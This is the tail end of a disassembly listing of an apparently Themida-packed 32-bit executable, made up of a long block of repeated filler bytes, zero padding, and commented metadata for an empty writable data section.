		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0
		align 10h
		dd 1C7Ch dup(0)
Themida_	ends

; Section 5. (virtual address 001DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DE000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start